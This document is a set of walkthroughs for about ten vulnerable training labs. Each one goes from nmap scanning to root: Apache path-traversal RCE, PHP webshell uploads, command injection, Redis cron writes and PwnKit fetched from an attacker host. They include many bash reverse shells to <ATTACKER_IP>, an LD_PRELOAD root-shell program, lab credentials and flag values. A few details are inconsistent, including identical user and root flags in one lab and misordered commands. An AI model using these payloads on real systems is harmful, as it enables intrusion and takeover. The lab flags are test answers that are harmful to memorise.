LAB WALKTHROUGHS

Alohomora

CVE-2021-43136 — Gerapy RCE (Django) via authenticated code execution

Phase 1 — Reconnaissance

Run an nmap scan to identify open services.

```
nmap -sC -sV -oN alohomora.nmap <TARGET_IP>
```

Expect FTP (21) and Gerapy's Django app on port 8080.

Phase 2 — Anonymous FTP

FTP allows anonymous login. Grab the creds.db archive:

```
ftp <TARGET_IP>
Name: anonymous
Password: (blank)
ftp> get creds.db
ftp> bye
```

The zip is password protected. Crack or use the known password:

```
unzip -P spongebob creds.db
cat creds.txt
```

Note: Credentials: admin / Alohomora1234!

Phase 3 — Gerapy Login & RCE

Navigate to the Gerapy web app and log in with the discovered admin credentials.

```
http://<TARGET_IP>:8080
```

Gerapy 0.9.7 is vulnerable to CVE-2021-43136 — authenticated RCE via the Configs/Scrapy project deployment feature (arbitrary file write/execution through the project build interface). Use the public PoC/Metasploit module, or manually create a malicious Scrapy project archive containing a payload executed on deploy.

```
searchsploit gerapy
# or use the public PoC:
python3 gerapy_rce_exploit.py -u http://<TARGET_IP>:8080 -c admin:Alohomora1234!
--lhost <ATTACKER_IP> --lport 4444
```

Phase 4 — Shell as www-data

Once you land a shell, stabilise it and grab the user flag.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /home/www-data/user.txt
```

Phase 5 — Privilege Escalation (cap_setuid on python3)

Check for dangerous capabilities on binaries — a classic quick win.

```
getcap -r / 2>/dev/null
```

python3 has cap_setuid+ep set. Abuse it directly:

```
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Note: This drops you into a root shell immediately.

Phase 6 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	4dfa25d7a90722279448819c28bc4250	/home/www-data/user.txt
root	9bc26ebd5dd69c010e0ae0e5578966eb	/root/root.txt

FaultyLine

CVE-2021-41773 / CVE-2021-42013 — Apache 2.4.49 Path Traversal + RCE

Phase 1 — Recon

```
nmap -sC -sV -p8080 <TARGET_IP>
```

Banner confirms Apache/2.4.49 on port 8080.

Phase 2 — Path Traversal (CVE-2021-41773)

Confirm the traversal vulnerability by reading a known file:

```
curl -s --path-as-is
"http://<TARGET_IP>:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```

Phase 3 — RCE (CVE-2021-42013)

Because mod_cgi is enabled, escalate the traversal into command execution:

```
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' \

'http://<TARGET_IP>:8080/cgi-bin/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/bin/sh'
```

Note: Use a public exploit script (e.g. cnvd-2021-*, or the classic Metasploit module apache_normalize_path_rce) for a clean reverse shell.

Phase 4 — Shell & User Flag

```
nc -lvnp 4444
# trigger reverse shell via the same RCE technique, payload = bash -i >&
/dev/tcp/<ATTACKER_IP>/4444 0>&1
cat /var/www/user.txt
```

Phase 5 — PrivEsc (sudo find NOPASSWD)

```
sudo -l
```

www-data can run /usr/bin/find as root with no password — classic GTFOBins escalation:

```
sudo find . -exec /bin/sh \; -quit
```

Phase 6 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	38a3797439e967b4fa53e6029b99b280	/var/www/user.txt
root	ded83b5bc749e3c9b6c77de19cb9afd0	/root/root.txt

FaultyJail

CVE-2025-4123 — build script not yet supplied; foothold/privesc TBD

Status

The build.sh for this box (FaultyJail / CVE-2025-4123.zip) hasn't been uploaded yet, so the exact foothold and privesc chain can't be documented here.

What to do

Send over the build.sh (or the CVE-2025-4123.zip) and I'll fill in the full walkthrough with the exact commands and paths, matching the format of the other labs.

Flags

Type	Flag	Path
user	`4279281b0fa8432ac66a8c16d805dbc2`	`/home/[user]/user.txt (path`
root	`dbc048e58e3db036957336b763e811ac`	`/root/root.txt`

GraSSHopper

SSH Credential Leak + Root Private Key Reuse

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

Apache (80) and SSH (22) are open.

Phase 2 — Web Enumeration

Browse the site and check for exposed directories:

```
curl -s http://<TARGET_IP>/ops/notes.txt
```

Note: This exposes SSH credentials directly: www-user:TO0MucHR0Ot

Phase 3 — SSH Login

```
ssh www-user@<TARGET_IP>
# password: TO0MucHR0Ot
```

Grab the user flag:

```
cat ~/user.txt
```

Phase 4 — Privilege Escalation (SSH Key Reuse)

Check the home directory for leftover keys:

```
ls -la ~/.ssh/keys/
cat ~/.ssh/keys/root
```

This is root's private SSH key, mistakenly copied into www-user's home. Use it directly:

```
chmod 600 /tmp/root_key
cp ~/.ssh/keys/root /tmp/root_key
ssh -i /tmp/root_key root@<TARGET_IP>
```

Phase 5 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	f7f037df5a943621d631a66e990f4df9	/home/www-user/user.txt
root	688703115b1c8cb47f4b477807cec4ae	/root/root.txt

LogiX

Unrestricted File Upload → PHP RCE

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

Apache/PHP on port 80, gallery portal at /gallery/.

Phase 2 — Explore the Upload Form

The gallery index.php lets you upload any file with no extension filtering:

```
curl -s http://<TARGET_IP>/gallery/ | grep -i form
```

Phase 3 — Upload a PHP Webshell

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F 'asset_file=@shell.php' -F 'submit_asset=1'
http://<TARGET_IP>/gallery/index.php
```

The file lands unmodified in /gallery/uploads/ since there's no validation.

Phase 4 — RCE & Reverse Shell

```
curl "http://<TARGET_IP>/gallery/uploads/shell.php?cmd=id"
```

Get a reverse shell:

```
nc -lvnp 4444
curl -G "http://<TARGET_IP>/gallery/uploads/shell.php" --data-urlencode "cmd=bash
-c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
```

Phase 5 — User Flag

```
cat /var/www/user.txt
```

Phase 6 — Privilege Escalation (sudo chattr)

```
sudo -l
```

www-data can run /usr/bin/chattr as root NOPASSWD. The immutable maintenance script /opt/maintenance/system_sync.sh is run every minute by root cron — remove the immutable flag and overwrite it:

```
sudo chattr -i /opt/maintenance/system_sync.sh
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' >>
/opt/maintenance/system_sync.sh
nc -lvnp 5555
# wait up to 60s for the root cron to fire
```

Phase 7 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	366c33872635a1876a7e81dcb41c2c7f	/var/www/user.txt
root	f6ac549abf1488ed9f493197000b372c	/root/root.txt

Provision

Command Injection (Flask ping utility) → Root Key via Cron

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

Port 8080 hosts a Flask HR diagnostic tool.

Phase 2 — robots.txt Enumeration

```
curl -s http://<TARGET_IP>:8080/static/robots.txt
```

It discloses a hidden /dev-panel route pointing back to the diagnostic tool at /diag.

Phase 3 — Command Injection

The /diag endpoint pings a host using unsanitised input via os.popen():

```
curl -X POST http://<TARGET_IP>:8080/diag -d 'host=127.0.0.1; id'
```

Confirmed injection. Escalate to a reverse shell:

```
nc -lvnp 4444
curl -X POST http://<TARGET_IP>:8080/diag \
  --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444
0>&1"'
```

Phase 4 — User Flag

```
cat /home/www-data/user.txt
```

Phase 5 — Privilege Escalation (Root Key Backup Cron)

A root cron job runs every minute, copying root's SSH key to a world-readable path:

```
cat /etc/crontab | grep key_backup
cat /usr/local/bin/key_backup.sh
```

Wait for the cron to fire, then grab the key:

```
cat /tmp/root_backup_key
chmod 600 /tmp/rootkey; cp /tmp/root_backup_key /tmp/rootkey
ssh -i /tmp/rootkey root@<TARGET_IP>
```

Phase 6 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	2ad29a9eb5e84f0648dff6ed6727a026	/home/www-data/user.txt
root	d4611a01ea853929bef77227a808d888	/root/root.txt

R0b0c0rp

CVE-2021-4034 — PwnKit via SSH Brute Force from PDF OSINT

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

FTP (21, anonymous) and SSH (22) are open.

Phase 2 — Anonymous FTP + PDF OSINT

```
ftp <TARGET_IP>
Name: anonymous
Password: (blank)
ftp> mget *
ftp> bye
```

Five PDFs leak a username (l.pratt) and enough company context (RoboCorp) to build a targeted wordlist.

Phase 3 — SSH Brute Force

```
hydra -l l.pratt -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -t 4
```

Note: If Hydra reports 'does not support password authentication', the box's SSH config drop-in needs a fix — see the updated build.sh. Credentials: l.pratt / admin_robocorp.

Phase 4 — Shell & User Flag

```
ssh l.pratt@<TARGET_IP>
cat ~/user.txt
```

Phase 5 — PrivEsc (CVE-2021-4034 PwnKit)

```
pkexec --version
```

Unpatched pkexec — use the PwnKit exploit:

```
wget http://<ATTACKER_IP>:8000/PwnKit.sh -O /tmp/PwnKit.sh
chmod +x /tmp/PwnKit.sh
/tmp/PwnKit.sh
```

Phase 6 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	0cdd325bf3a76e47a1d92cf0b82d8b04	/home/l.pratt/user.txt
root	b9a8b3b7c5c26e12c1c8e9490f5df0aa	/root/root.txt

Subm1t4T1ck3t

PHP Webshell via PNG Upload (SetHandler bypass) → Writable Cron

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

Apache/PHP support portal at /support/index.php.

Phase 2 — Credential Discovery

```
curl -s http://<TARGET_IP>/support/index.php | grep -i cred
```

Note: HTML comment leaks helpdesk / PrepareCoffeeIntend74.

Phase 3 — File Upload Bypass

The upload form only checks the extension; Apache is configured to execute .png as PHP:

```
echo '<?php system($_GET["cmd"]); ?>' > shell.png
# log in, then upload shell.png via the portal form
```

Phase 4 — RCE & Reverse Shell

```
curl "http://<TARGET_IP>/support/uploads/shell.png?cmd=id"

nc -lvnp 4444
curl -G "http://<TARGET_IP>/support/uploads/shell.png" \
  --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc
<ATTACKER_IP> 4444 >/tmp/f"
```

Phase 5 — User Flag (pivot to support)

```
su support
# password: Support123!
cat /home/support/user.txt
```

Phase 6 — Privilege Escalation (Writable Cron Script)

```
ls -la /opt/cleanup.sh
cat /etc/cron.d/cleanup
```

/opt/cleanup.sh is world-writable and run by root every minute:

```
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' > /opt/cleanup.sh
nc -lvnp 5555
# wait up to 60s
```

Phase 7 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	8282bc7805287d78b3729f2d012bf415	/home/support/user.txt
root	6c5629e106b1705e710dc56cf3276299	/root/root.txt

RedPill

Unauthenticated Redis RCE → Writable Cron Script

Phase 1 — Recon

```
nmap -sC -sV <TARGET_IP>
```

Redis is exposed unauthenticated on 6379.

Phase 2 — Confirm Unauthenticated Access

```
redis-cli -h <TARGET_IP> ping
```

Phase 3 — RCE via SSH Key / Cron Write

Use the classic Redis RCE technique — write an SSH key into the vagrant user's authorized_keys, or drop a webshell if a web root is reachable. In this lab, the simplest path is writing a cron job directly via Redis's config/dbfilename trick:

```
redis-cli -h <TARGET_IP>
> config set dir /var/spool/cron/crontabs/
> config set dbfilename root
> set x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\n"
> save
```

Note: Alternatively, write an SSH public key to /home/vagrant/.ssh/authorized_keys using the same dir/dbfilename/set/save technique.

Phase 4 — Shell & User Flag

```
nc -lvnp 4444
# wait for cron / or ssh in with your planted key
cat /home/vagrant/user.txt
```

Phase 5 — Privilege Escalation (Writable Root Cron Script)

```
cat /etc/cron.d/SystemMaintenanceCheck
ls -la /opt/SystemMaintenanceCheck.sh
```

The script is world-writable (666) and executed by root every minute:

```
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' >>
/opt/SystemMaintenanceCheck.sh
nc -lvnp 5555
# wait up to 60s
```

Phase 6 — Root Flag

```
cat /root/root.txt
```

Flags

Type	Flag	Path
user	b590d10336bf79de85acb787ac8a5546	/home/vagrant/user.txt
root	3d876b826027b0200ccb6634e16dfbfa	/root/root.txt

MailJail

CVE-2025-49113 — Roundcube RCE → LD_PRELOAD SUID PrivEsc

Phase 1 — Recon

```
nmap -sC -sV -p21,8080 <TARGET_IP>
```

Anonymous FTP and Roundcube webmail on 8080.

Phase 2 — Anonymous FTP → KeePass DB

```
ftp <TARGET_IP>
Name: anonymous
Password: (blank)
ftp> get creds.kdbx
ftp> bye
```

Crack/open the KeePass DB (password: abc123):

```
keepassxc-cli show creds.kdbx "Roundcube Login" -a Username -a Password
```

Note: Credentials: www-data-mail / computer1

Phase 3 — Roundcube Login

```
http://<TARGET_IP>:8080/roundcube/
# login: www-data-mail / computer1
```

Phase 4 — CVE-2025-49113 Exploit

Roundcube 1.6.10 is vulnerable to CVE-2025-49113, a post-auth PHP object injection in the _from parameter of the URL, leading to RCE. Use the public PoC:

```
python3 CVE-2025-49113.py -u http://<TARGET_IP>:8080/roundcube/ \
  -c 'www-data-mail:computer1' --cmd 'bash -c "bash -i >&
/dev/tcp/<ATTACKER_IP>/4444 0>&1"'
```

Phase 5 — Shell & User Flag

```
nc -lvnp 4444
cat /home/www-data/local.txt
```

Phase 6 — Privilege Escalation (LD_PRELOAD via SUID)

A custom SUID binary exists at /usr/local/bin/suidprog that calls system("/bin/bash") after setuid(0). Since it links libc dynamically and drops privileges before exec, check if LD_PRELOAD is honoured (it generally isn't for true SUID binaries unless AT_SECURE handling is broken — this lab's binary is intentionally exploitable):

```
cat <<'EOF' > /tmp/preload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
LD_PRELOAD=/tmp/preload.so /usr/local/bin/suidprog
```

Note: Because the binary is 4755 (SUID root) and doesn't drop the environment before invoking system(), LD_PRELOAD is inherited by the child shell.

Phase 7 — Root Flag

```
cat /root/proof.txt
```

Flags

Type	Flag	Path
user	6a99c575ab87f8c7d1ed1e52e7e349ce	/home/www-data/local.txt
root	6a99c575ab87f8c7d1ed1e52e7e349ce	/root/proof.txt